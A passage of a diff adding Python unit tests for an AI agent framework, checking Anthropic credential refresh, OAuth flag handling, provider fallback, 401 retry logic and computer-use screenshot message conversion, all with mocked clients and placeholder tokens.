agent._anthropic_base_url = "https://api.anthropic.com"
agent.provider = "anthropic"
with (
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant...oken"),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=new_client) as rebuild,
):
assert agent._try_refresh_anthropic_client_credentials() is True
old_client.close.assert_called_once()
rebuild.assert_called_once_with(
"sk-ant...oken", "https://api.anthropic.com", timeout=None,
)
assert agent._anthropic_client is new_client
assert agent._anthropic_api_key == "sk-ant...oken"
def test_try_refresh_anthropic_client_credentials_returns_false_when_token_unchanged(self):
with (
patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()),
):
agent = AIAgent(
api_key="sk-ant...oken",
base_url="https://openrouter.ai/api/v1",
api_mode="anthropic_messages",
quiet_mode=True,
skip_context_files=True,
skip_memory=True,
)
old_client = MagicMock()
agent._anthropic_client = old_client
agent._anthropic_api_key = "sk-ant...oken"
with (
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant...oken"),
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as rebuild,
):
assert agent._try_refresh_anthropic_client_credentials() is False
old_client.close.assert_not_called()
rebuild.assert_not_called()
def test_anthropic_messages_create_preflights_refresh(self):
with (
patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()),
):
agent = AIAgent(
api_key="sk-ant...oken",
base_url="https://openrouter.ai/api/v1",
api_mode="anthropic_messages",
quiet_mode=True,
skip_context_files=True,
skip_memory=True,
)
response = SimpleNamespace(content=[])
agent._anthropic_client = MagicMock()
agent._anthropic_client.messages.create.return_value = response
with patch.object(agent, "_try_refresh_anthropic_client_credentials", return_value=True) as refresh:
result = agent._anthropic_messages_create({"model": "claude-sonnet-4-20250514"})
refresh.assert_called_once_with()
agent._anthropic_client.messages.create.assert_called_once_with(model="claude-sonnet-4-20250514")
assert result is response
class TestFallbackSetsOAuthFlag:
"""_try_activate_fallback must set _is_anthropic_oauth for Anthropic fallbacks."""
def test_fallback_to_anthropic_oauth_sets_flag(self, agent):
agent._fallback_activated = False
agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-6"}
agent._fallback_chain = [agent._fallback_model]
agent._fallback_index = 0
mock_client = MagicMock()
mock_client.base_url = "https://api.anthropic.com/v1"
mock_client.api_key = "sk-ant-setup-oauth-token"
with (
patch("agent.auxiliary_client.resolve_provider_client",
return_value=(mock_client, None)),
patch("hermes_agent_anthropic.adapter.build_anthropic_client",
return_value=MagicMock()),
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token",
return_value=None),
):
result = agent._try_activate_fallback()
assert result is True
assert agent._is_anthropic_oauth is True
def test_fallback_to_anthropic_api_key_clears_flag(self, agent):
agent._fallback_activated = False
agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-6"}
agent._fallback_chain = [agent._fallback_model]
agent._fallback_index = 0
mock_client = MagicMock()
mock_client.base_url = "https://api.anthropic.com/v1"
mock_client.api_key = "sk-ant-api03-regular-key"
with (
patch("agent.auxiliary_client.resolve_provider_client",
return_value=(mock_client, None)),
patch("hermes_agent_anthropic.adapter.build_anthropic_client",
return_value=MagicMock()),
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token",
return_value=None),
):
result = agent._try_activate_fallback()
assert result is True
assert agent._is_anthropic_oauth is False
class TestOAuthFlagAfterCredentialRefresh:
"""_is_anthropic_oauth must update when token type changes during refresh."""
def test_oauth_flag_updates_api_key_to_oauth(self, agent):
"""Refreshing from API key to OAuth token must set flag to True."""
from agent.plugin_registries import registries
agent.api_mode = "anthropic_messages"
agent.provider = "anthropic"
agent._anthropic_api_key = "***"
agent._anthropic_client = MagicMock()
agent._is_anthropic_oauth = False
with patch.dict(registries._provider_services, {"anthropic": {
"resolve_anthropic_token": MagicMock(return_value="sk-ant...oken"),
"build_anthropic_client": MagicMock(return_value=MagicMock()),
"_is_oauth_token": MagicMock(return_value=True),
}}):
result = agent._try_refresh_anthropic_client_credentials()
assert result is True
assert agent._is_anthropic_oauth is True
def test_oauth_flag_updates_oauth_to_api_key(self, agent):
"""Refreshing from OAuth to API key must set flag to False."""
from agent.plugin_registries import registries
agent.api_mode = "anthropic_messages"
agent.provider = "anthropic"
agent._anthropic_api_key = "***"
agent._anthropic_client = MagicMock()
agent._is_anthropic_oauth = True
with patch.dict(registries._provider_services, {"anthropic": {
"resolve_anthropic_token": MagicMock(return_value="sk-ant...-key"),
"build_anthropic_client": MagicMock(return_value=MagicMock()),
"_is_oauth_token": MagicMock(return_value=False),
}}):
result = agent._try_refresh_anthropic_client_credentials()
assert result is True
assert agent._is_anthropic_oauth is False
@@ -0,0 +1,98 @@
"""Anthropic-specific auth command tests moved from tests/hermes_cli/test_auth_commands.py."""
from __future__ import annotations
import base64
import json
import pytest
def _write_auth_store(tmp_path, payload: dict) -> None:
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
(hermes_home / "auth.json").write_text(json.dumps(payload, indent=2))
def _jwt_with_email(email: str) -> str:
header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode()
payload = base64.urlsafe_b64encode(
json.dumps({"email": email}).encode()
).rstrip(b"=").decode()
return f"{header}.{payload}.signature"
@pytest.fixture(autouse=True)
def _clear_provider_env(monkeypatch):
for key in (
"OPENROUTER_API_KEY",
"OPENAI_API_KEY",
"ANTHROPIC_API_KEY",
"ANTHROPIC_TOKEN",
"CLAUDE_CODE_OAUTH_TOKEN",
):
monkeypatch.delenv(key, raising=False)
def test_auth_add_anthropic_oauth_persists_pool_entry(tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
_write_auth_store(tmp_path, {"version": 1, "providers": {}})
token = _jwt_with_email("claude@example.com")
monkeypatch.setattr(
"hermes_agent_anthropic.adapter.run_hermes_oauth_login_pure",
lambda: {
"access_token": token,
"refresh_token": "refresh-token",
"expires_at_ms": 1711234567000,
},
)
from hermes_cli.auth_commands import auth_add_command
class _Args:
provider = "anthropic"
auth_type = "oauth"
api_key = None
label = None
auth_add_command(_Args())
payload = json.loads((tmp_path / "hermes" / "auth.json").read_text())
entries = payload["credential_pool"]["anthropic"]
entry = next(item for item in entries if item["source"] == "manual:hermes_pkce")
assert entry["label"] == "claude@example.com"
assert entry["source"] == "manual:hermes_pkce"
assert entry["refresh_token"] == "refresh-token"
assert entry["expires_at_ms"] == 1711234567000
def test_seed_from_singletons_respects_hermes_pkce_suppression(tmp_path, monkeypatch):
"""anthropic hermes_pkce must not re-seed from ~/.hermes/.anthropic_oauth.json when suppressed."""
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
monkeypatch.setenv("HERMES_HOME", str(hermes_home))
import yaml
(hermes_home / "config.yaml").write_text(yaml.dump({"model": {"provider": "anthropic", "model": "claude"}}))
(hermes_home / "auth.json").write_text(json.dumps({
"version": 1,
"providers": {},
"suppressed_sources": {"anthropic": ["hermes_pkce"]},
}))
# Stub the readers so only hermes_pkce is "available"; claude_code returns None
import hermes_agent_anthropic as aa
monkeypatch.setattr(aa, "read_hermes_oauth_credentials", lambda: {
"accessToken": "tok", "refreshToken": "r", "expiresAt": 9999999999000,
})
monkeypatch.setattr(aa, "read_claude_code_credentials", lambda: None)
from agent.credential_pool import _seed_from_singletons
entries = []
changed, active = _seed_from_singletons("anthropic", entries)
# hermes_pkce suppressed, claude_code returns None → nothing should be seeded
assert entries == []
assert "hermes_pkce" not in active
@@ -0,0 +1,535 @@
"""Tests for Anthropic-specific auxiliary client behaviour.
Covers:
- OAuth vs API-key flag propagation (_try_anthropic AnthropicAuxiliaryClient)
- explicit_api_key propagation through resolve_provider_client _try_anthropic
- Expired Codex token fallback to Anthropic
- Vision client fallback with Anthropic
- Auth refresh retry for Anthropic clients
"""
import json
from unittest.mock import MagicMock, AsyncMock, patch
import pytest
from agent.auxiliary_client import (
resolve_provider_client,
_read_codex_access_token,
_resolve_auto,
get_available_vision_backends,
call_llm,
async_call_llm,
)
from hermes_agent_anthropic.resolve import resolve_auxiliary_client as _try_anthropic
from agent.anthropic_aux import AnthropicAuxiliaryClient
class TestAnthropicOAuthFlag:
"""Test that OAuth tokens get is_oauth=True in auxiliary Anthropic client."""
def test_oauth_token_sets_flag(self, monkeypatch):
"""OAuth tokens (sk-ant-oat01-*) should create client with is_oauth=True."""
monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-test-token")
with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build:
mock_build.return_value = MagicMock()
from hermes_agent_anthropic.resolve import resolve_auxiliary_client as _try_anthropic
from agent.anthropic_aux import AnthropicAuxiliaryClient
client, model = _try_anthropic()
assert client is not None
assert isinstance(client, AnthropicAuxiliaryClient)
# The adapter inside should have is_oauth=True
adapter = client.chat.completions
assert adapter._is_oauth is True
def test_api_key_no_oauth_flag(self, monkeypatch):
"""Regular API keys (sk-ant-api-*) should create client with is_oauth=False."""
with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant-api03-testkey1234"), \
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \
patch("hermes_agent_anthropic.resolve._select_pool_entry", return_value=(False, None)):
mock_build.return_value = MagicMock()
from hermes_agent_anthropic.resolve import resolve_auxiliary_client as _try_anthropic
from agent.anthropic_aux import AnthropicAuxiliaryClient
client, model = _try_anthropic()
assert client is not None
assert isinstance(client, AnthropicAuxiliaryClient)
adapter = client.chat.completions
assert adapter._is_oauth is False
def test_pool_entry_takes_priority_over_legacy_resolution(self):
class _Entry:
access_token = "sk-ant-oat01-pooled"
base_url = "https://api.anthropic.com"
class _Pool:
def has_credentials(self):
return True
def select(self):
return _Entry()
with (
patch("agent.credential_pool.load_pool", return_value=_Pool()),
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", side_effect=AssertionError("legacy path should not run")),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()) as mock_build,
):
from hermes_agent_anthropic.resolve import resolve_auxiliary_client as _try_anthropic
client, model = _try_anthropic()
assert client is not None
assert model == "claude-haiku-4-5-20251001"
assert mock_build.call_args.args[0] == "sk-ant-oat01-pooled"
class TestAnthropicExplicitApiKey:
"""Test that explicit_api_key is correctly propagated to _try_anthropic().
Parity with the OpenRouter fix in #18768: resolve_provider_client() passes
explicit_api_key to _try_openrouter(), but the anthropic branch was not
updated _try_anthropic() always fell back to resolve_anthropic_token()
even when an explicit key was supplied (e.g. from a fallback_model entry).
"""
def test_try_anthropic_uses_explicit_api_key_over_env(self):
"""_try_anthropic(explicit_api_key) must use the supplied key, not the env fallback."""
with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="env-fallback-key"), \
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \
patch("hermes_agent_anthropic.resolve._select_pool_entry", return_value=(False, None)):
mock_build.return_value = MagicMock()
from hermes_agent_anthropic.resolve import resolve_auxiliary_client as _try_anthropic
client, model = _try_anthropic(explicit_api_key="explicit-pool-key")
assert client is not None
assert mock_build.call_args.args[0] == "explicit-pool-key", (
f"Expected explicit_api_key to be passed, got: {mock_build.call_args.args[0]}"
)
assert mock_build.call_args.args[0] != "env-fallback-key"
def test_try_anthropic_without_explicit_key_falls_back_to_resolve(self):
"""Without explicit_api_key, _try_anthropic falls back to resolve_anthropic_token."""
with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="env-fallback-key"), \
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \
patch("hermes_agent_anthropic.resolve._select_pool_entry", return_value=(False, None)):
mock_build.return_value = MagicMock()
from hermes_agent_anthropic.resolve import resolve_auxiliary_client as _try_anthropic
client, model = _try_anthropic()
assert client is not None
assert mock_build.call_args.args[0] == "env-fallback-key"
def test_resolve_provider_client_passes_explicit_api_key_to_anthropic(self):
"""resolve_provider_client(provider='anthropic', explicit_api_key=...) must propagate the key."""
with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="env-key"), \
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \
patch("hermes_agent_anthropic.resolve._select_pool_entry", return_value=(False, None)):
mock_build.return_value = MagicMock()
client, model = resolve_provider_client(
provider="anthropic",
explicit_api_key="explicit-fallback-key",
)
assert client is not None
assert mock_build.call_args.args[0] == "explicit-fallback-key", (
"resolve_provider_client must forward explicit_api_key to _try_anthropic()"
)
class TestExpiredCodexFallback:
"""Test that expired Codex tokens don't block the auto chain."""
def test_expired_codex_falls_through_to_next(self, tmp_path, monkeypatch):
"""When Codex token is expired, auto chain should skip it and try next provider."""
import base64
import time as _time
# Expired Codex JWT
header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode()
payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode()
payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode()
expired_jwt = f"{header}.{payload}.fakesig"
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
(hermes_home / "auth.json").write_text(json.dumps({
"version": 1,
"providers": {
"openai-codex": {
"tokens": {"access_token": expired_jwt, "refresh_token": "***"},
},
},
}))
monkeypatch.setenv("HERMES_HOME", str(hermes_home))
# Set up Anthropic as fallback
monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant...back")
with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build:
mock_build.return_value = MagicMock()
client, model = _resolve_auto()
# Should NOT be Codex, should be Anthropic (or another available provider)
assert not isinstance(client, type(None)), "Should find a provider after expired Codex"
def test_expired_codex_openrouter_wins(self, tmp_path, monkeypatch):
"""With expired Codex + OpenRouter key, OpenRouter should win (1st in chain)."""
import base64
import time as _time
# Belt-and-suspenders: _try_openrouter marks openrouter unhealthy
# when OPENROUTER_API_KEY is absent (which the preceding test in
# this class exercises). The file-level _clean_env autouse fixture
# clears the cache, but fixture ordering with the conftest
# _hermetic_environment autouse can leave a narrow window where
# the mark reappears. Explicitly clear here so this test is
# independent of run order.
import agent.auxiliary_client as _aux_mod
_aux_mod._aux_unhealthy_until.clear()
_aux_mod._aux_unhealthy_logged_at.clear()
header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode()
payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode()
payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode()
expired_jwt = f"{header}.{payload}.fakesig"
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
(hermes_home / "auth.json").write_text(json.dumps({
"version": 1,
"providers": {
"openai-codex": {
"tokens": {"access_token": expired_jwt, "refresh_token": "***"},
},
},
}))
monkeypatch.setenv("HERMES_HOME", str(hermes_home))
monkeypatch.setenv("OPENROUTER_API_KEY", "or-test-key")
with patch("agent.auxiliary_client.OpenAI") as mock_openai:
mock_openai.return_value = MagicMock()
client, model = _resolve_auto()
assert client is not None
# OpenRouter is 1st in chain, should win
mock_openai.assert_called()
def test_expired_codex_custom_endpoint_wins(self, tmp_path, monkeypatch):
"""With expired Codex + custom endpoint (Ollama), custom should win (3rd in chain)."""
import base64
import time as _time
header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode()
payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode()
payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode()
expired_jwt = f"{header}.{payload}.fakesig"
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
(hermes_home / "auth.json").write_text(json.dumps({
"version": 1,
"providers": {
"openai-codex": {
"tokens": {"access_token": expired_jwt, "refresh_token": "***"},
},
},
}))
monkeypatch.setenv("HERMES_HOME", str(hermes_home))
# Simulate Ollama or custom endpoint
with patch("agent.auxiliary_client._resolve_custom_runtime",
return_value=("http://localhost:11434/v1", "sk-dummy")):
with patch("agent.auxiliary_client.OpenAI") as mock_openai:
mock_openai.return_value = MagicMock()
client, model = _resolve_auto()
assert client is not None
def test_hermes_oauth_file_sets_oauth_flag(self, monkeypatch):
"""OAuth-style tokens should get is_oauth=*** (token is not sk-ant-api-*)."""
# Mock resolve_anthropic_token to return an OAuth-style token
with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0In0.sig"), \
patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \
patch("hermes_agent_anthropic.resolve._select_pool_entry", return_value=(False, None)):
mock_build.return_value = MagicMock()
client, model = _try_anthropic()
assert client is not None, "Should resolve token"
adapter = client.chat.completions
assert adapter._is_oauth is True, "Non-sk-ant-api token should set is_oauth=True"
def test_jwt_missing_exp_passes_through(self, tmp_path, monkeypatch):
"""JWT with valid JSON but no exp claim should pass through."""
import base64
header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode()
payload_data = json.dumps({"sub": "user123"}).encode() # no exp
payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode()
no_exp_jwt = f"{header}.{payload}.fakesig"
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
(hermes_home / "auth.json").write_text(json.dumps({
"version": 1,
"providers": {
"openai-codex": {
"tokens": {"access_token": no_exp_jwt, "refresh_token": "***"},
},
},
}))
monkeypatch.setenv("HERMES_HOME", str(hermes_home))
result = _read_codex_access_token()
assert result == no_exp_jwt, "JWT without exp should pass through"
def test_jwt_invalid_json_payload_passes_through(self, tmp_path, monkeypatch):
"""JWT with valid base64 but invalid JSON payload should pass through."""
import base64
header = base64.urlsafe_b64encode(b'{"alg":"RS256"}').rstrip(b"=").decode()
payload = base64.urlsafe_b64encode(b"not-json-content").rstrip(b"=").decode()
bad_jwt = f"{header}.{payload}.fakesig"
hermes_home = tmp_path / "hermes"
hermes_home.mkdir(parents=True, exist_ok=True)
(hermes_home / "auth.json").write_text(json.dumps({
"version": 1,
"providers": {
"openai-codex": {
"tokens": {"access_token": bad_jwt, "refresh_token": "***"},
},
},
}))
monkeypatch.setenv("HERMES_HOME", str(hermes_home))
result = _read_codex_access_token()
assert result == bad_jwt, "JWT with invalid JSON payload should pass through"
def test_claude_code_oauth_env_sets_flag(self, monkeypatch):
"""CLAUDE_CODE_OAUTH_TOKEN env var should get is_oauth=True."""
monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "eyJhbG...test.sig") # JWT → is_oauth=True
monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build:
mock_build.return_value = MagicMock()
client, model = _try_anthropic()
assert client is not None
adapter = client.chat.completions
assert adapter._is_oauth is True
class TestVisionClientFallback:
"""Vision client auto mode resolves known-good multimodal backends."""
def test_vision_auto_includes_active_provider_when_configured(self, monkeypatch):
"""Active provider appears in available backends when credentials exist."""
monkeypatch.setenv("ANTHROPIC_API_KEY", "***")
with (
patch("agent.auxiliary_client._read_nous_auth", return_value=None),
patch("agent.auxiliary_client._read_main_provider", return_value="anthropic"),
patch("agent.auxiliary_client._read_main_model", return_value="claude-sonnet-4"),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()),
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0In0.sig"),
):
backends = get_available_vision_backends()
assert "anthropic" in backends
def test_resolve_provider_client_returns_native_anthropic_wrapper(self, monkeypatch):
monkeypatch.setenv("ANTHROPIC_API_KEY", "***")
with (
patch("agent.auxiliary_client._read_nous_auth", return_value=None),
patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()),
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0In0.sig"),
):
client, model = resolve_provider_client("anthropic")
assert client is not None
assert client.__class__.__name__ == "AnthropicAuxiliaryClient"
assert model == "claude-haiku-4-5-20251001"
class _AuxAuth401(Exception):
status_code = 401
def __init__(self, message="Provided authentication token is expired"):
super().__init__(message)
class _DummyResponse:
def __init__(self, text="ok"):
self.choices = [MagicMock(message=MagicMock(content=text))]
class _FailingThenSuccessCompletions:
def __init__(self):
self.calls = 0
def create(self, **kwargs):
self.calls += 1
if self.calls == 1:
raise _AuxAuth401()
return _DummyResponse("sync-ok")
class _AsyncFailingThenSuccessCompletions:
def __init__(self):
self.calls = 0
async def create(self, **kwargs):
self.calls += 1
if self.calls == 1:
raise _AuxAuth401()
return _DummyResponse("async-ok")
class TestAuxiliaryAuthRefreshRetry:
def test_call_llm_refreshes_codex_on_401_for_vision(self):
failing_client = MagicMock()
failing_client.base_url = "https://chatgpt.com/backend-api/codex"
failing_client.chat.completions = _FailingThenSuccessCompletions()
fresh_client = MagicMock()
fresh_client.base_url = "https://chatgpt.com/backend-api/codex"
fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-sync")
with (
patch(
"agent.auxiliary_client.resolve_vision_provider_client",
side_effect=[("openai-codex", failing_client, "gpt-5.4"), ("openai-codex", fresh_client, "gpt-5.4")],
),
patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh,
):
resp = call_llm(
task="vision",
provider="openai-codex",
model="gpt-5.4",
messages=[{"role": "user", "content": "hi"}],
)
assert resp.choices[0].message.content == "fresh-sync"
mock_refresh.assert_called_once_with("openai-codex")
def test_call_llm_refreshes_codex_on_401_for_non_vision(self):
stale_client = MagicMock()
stale_client.base_url = "https://chatgpt.com/backend-api/codex"
stale_client.chat.completions.create.side_effect = _AuxAuth401("stale codex token")
fresh_client = MagicMock()
fresh_client.base_url = "https://chatgpt.com/backend-api/codex"
fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-non-vision")
with (
patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("openai-codex", "gpt-5.4", None, None, None)),
patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "gpt-5.4"), (fresh_client, "gpt-5.4")]),
patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh,
):
resp = call_llm(
task="compression",
provider="openai-codex",
model="gpt-5.4",
messages=[{"role": "user", "content": "hi"}],
)
assert resp.choices[0].message.content == "fresh-non-vision"
mock_refresh.assert_called_once_with("openai-codex")
assert stale_client.chat.completions.create.call_count == 1
assert fresh_client.chat.completions.create.call_count == 1
def test_call_llm_refreshes_anthropic_on_401_for_non_vision(self):
stale_client = MagicMock()
stale_client.base_url = "https://api.anthropic.com"
stale_client.chat.completions.create.side_effect = _AuxAuth401("anthropic token expired")
fresh_client = MagicMock()
fresh_client.base_url = "https://api.anthropic.com"
fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-anthropic")
with (
patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("anthropic", "claude-haiku-4-5-20251001", None, None, None)),
patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "claude-haiku-4-5-20251001"), (fresh_client, "claude-haiku-4-5-20251001")]),
patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh,
):
resp = call_llm(
task="compression",
provider="anthropic",
model="claude-haiku-4-5-20251001",
messages=[{"role": "user", "content": "hi"}],
)
assert resp.choices[0].message.content == "fresh-anthropic"
mock_refresh.assert_called_once_with("anthropic")
assert stale_client.chat.completions.create.call_count == 1
assert fresh_client.chat.completions.create.call_count == 1
@pytest.mark.asyncio
async def test_async_call_llm_refreshes_codex_on_401_for_vision(self):
failing_client = MagicMock()
failing_client.base_url = "https://chatgpt.com/backend-api/codex"
failing_client.chat.completions = _AsyncFailingThenSuccessCompletions()
fresh_client = MagicMock()
fresh_client.base_url = "https://chatgpt.com/backend-api/codex"
fresh_client.chat.completions.create = AsyncMock(return_value=_DummyResponse("fresh-async"))
with (
patch(
"agent.auxiliary_client.resolve_vision_provider_client",
side_effect=[("openai-codex", failing_client, "gpt-5.4"), ("openai-codex", fresh_client, "gpt-5.4")],
),
patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh,
):
resp = await async_call_llm(
task="vision",
provider="openai-codex",
model="gpt-5.4",
messages=[{"role": "user", "content": "hi"}],
)
assert resp.choices[0].message.content == "fresh-async"
mock_refresh.assert_called_once_with("openai-codex")
def test_refresh_provider_credentials_force_refreshes_anthropic_oauth_and_evicts_cache(self, monkeypatch):
stale_client = MagicMock()
cache_key = ("anthropic", False, None, None, None)
monkeypatch.setenv("ANTHROPIC_TOKEN", "")
monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "")
monkeypatch.setenv("ANTHROPIC_API_KEY", "")
with (
patch("agent.auxiliary_client._client_cache", {cache_key: (stale_client, "claude-haiku-4-5-20251001", None)}),
patch("hermes_agent_anthropic.adapter.read_claude_code_credentials", return_value={
"accessToken": "expired-token",
"refreshToken": "refresh-token",
"expiresAt": 0,
}),
patch("hermes_agent_anthropic.adapter.refresh_anthropic_oauth_pure", return_value={
"access_token": "fresh-token",
"refresh_token": "refresh-token-2",
"expires_at_ms": 9999999999999,
}) as mock_refresh_oauth,
patch("hermes_agent_anthropic.adapter._write_claude_code_credentials") as mock_write,
):
from agent.auxiliary_client import _refresh_provider_credentials
assert _refresh_provider_credentials("anthropic") is True
mock_refresh_oauth.assert_called_once_with("refresh-token", use_json=False)
mock_write.assert_called_once_with("fresh-token", "refresh-token-2", 9999999999999)
stale_client.close.assert_called_once()
@pytest.mark.asyncio
async def test_async_call_llm_refreshes_anthropic_on_401_for_non_vision(self):
stale_client = MagicMock()
stale_client.base_url = "https://api.anthropic.com"
stale_client.chat.completions.create = AsyncMock(side_effect=_AuxAuth401("anthropic token expired"))
fresh_client = MagicMock()
fresh_client.base_url = "https://api.anthropic.com"
fresh_client.chat.completions.create = AsyncMock(return_value=_DummyResponse("fresh-async-anthropic"))
with (
patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("anthropic", "claude-haiku-4-5-20251001", None, None, None)),
patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "claude-haiku-4-5-20251001"), (fresh_client, "claude-haiku-4-5-20251001")]),
patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh,
):
resp = await async_call_llm(
task="compression",
provider="anthropic",
model="claude-haiku-4-5-20251001",
messages=[{"role": "user", "content": "hi"}],
)
assert resp.choices[0].message.content == "fresh-async-anthropic"
mock_refresh.assert_called_once_with("anthropic")
assert stale_client.chat.completions.create.await_count == 1
assert fresh_client.chat.completions.create.await_count == 1
@@ -0,0 +1,129 @@
"""Anthropic-specific computer use tests moved from tests/tools/test_computer_use.py."""
from __future__ import annotations
from typing import Any, Dict, List
# ---------------------------------------------------------------------------
# Anthropic adapter: multimodal tool-result conversion
# ---------------------------------------------------------------------------
class TestAnthropicAdapterMultimodal:
def test_multimodal_envelope_becomes_tool_result_with_image_block(self):
from agent.anthropic_format import convert_messages_to_anthropic
fake_png = "iVBORw0KGgo="
messages = [
{"role": "user", "content": "take a screenshot"},
{
"role": "assistant",
"content": "",
"tool_calls": [{
"id": "call_1",
"type": "function",
"function": {"name": "computer_use", "arguments": "{}"},
}],
},
{
"role": "tool",
"tool_call_id": "call_1",
"content": {
"_multimodal": True,
"content": [
{"type": "text", "text": "1 element"},
{"type": "image_url",
"image_url": {"url": f"data:image/png;base64,{fake_png}"}},
],
"text_summary": "1 element",
},
},
]
_, anthropic_msgs = convert_messages_to_anthropic(messages)
tool_result_msgs = [m for m in anthropic_msgs if m["role"] == "user"
and isinstance(m["content"], list)
and any(b.get("type") == "tool_result" for b in m["content"])]
assert tool_result_msgs, "expected a tool_result user message"
tr = next(b for b in tool_result_msgs[-1]["content"] if b.get("type") == "tool_result")
inner = tr["content"]
assert any(b.get("type") == "image" for b in inner)
assert any(b.get("type") == "text" for b in inner)
def test_old_screenshots_are_evicted_beyond_max_keep(self):
"""Image blocks in old tool_results get replaced with placeholders."""
from agent.anthropic_format import convert_messages_to_anthropic
fake_png = "iVBORw0KGgo="
def _mm_tool(call_id: str) -> Dict[str, Any]:
return {
"role": "tool",
"tool_call_id": call_id,
"content": {
"_multimodal": True,
"content": [
{"type": "text", "text": "cap"},
{"type": "image_url",
"image_url": {"url": f"data:image/png;base64,{fake_png}"}},
],
"text_summary": "cap",
},
}
# Build 5 screenshots interleaved with assistant messages.
messages: List[Dict[str, Any]] = [{"role": "user", "content": "start"}]
for i in range(5):
messages.append({
"role": "assistant", "content": "",
"tool_calls": [{
"id": f"call_{i}",
"type": "function",
"function": {"name": "computer_use", "arguments": "{}"},
}],
})
messages.append(_mm_tool(f"call_{i}"))
messages.append({"role": "assistant", "content": "done"})
_, anthropic_msgs = convert_messages_to_anthropic(messages)
# Walk tool_result blocks in order; the OLDEST (5 - 3) = 2 should be
# text-only placeholders, newest 3 should still carry image blocks.
tool_results = []
for m in anthropic_msgs:
if m["role"] != "user" or not isinstance(m["content"], list):
continue
for b in m["content"]:
if b.get("type") == "tool_result":
tool_results.append(b)
assert len(tool_results) == 5
with_images = [
b for b in tool_results
if isinstance(b.get("content"), list)
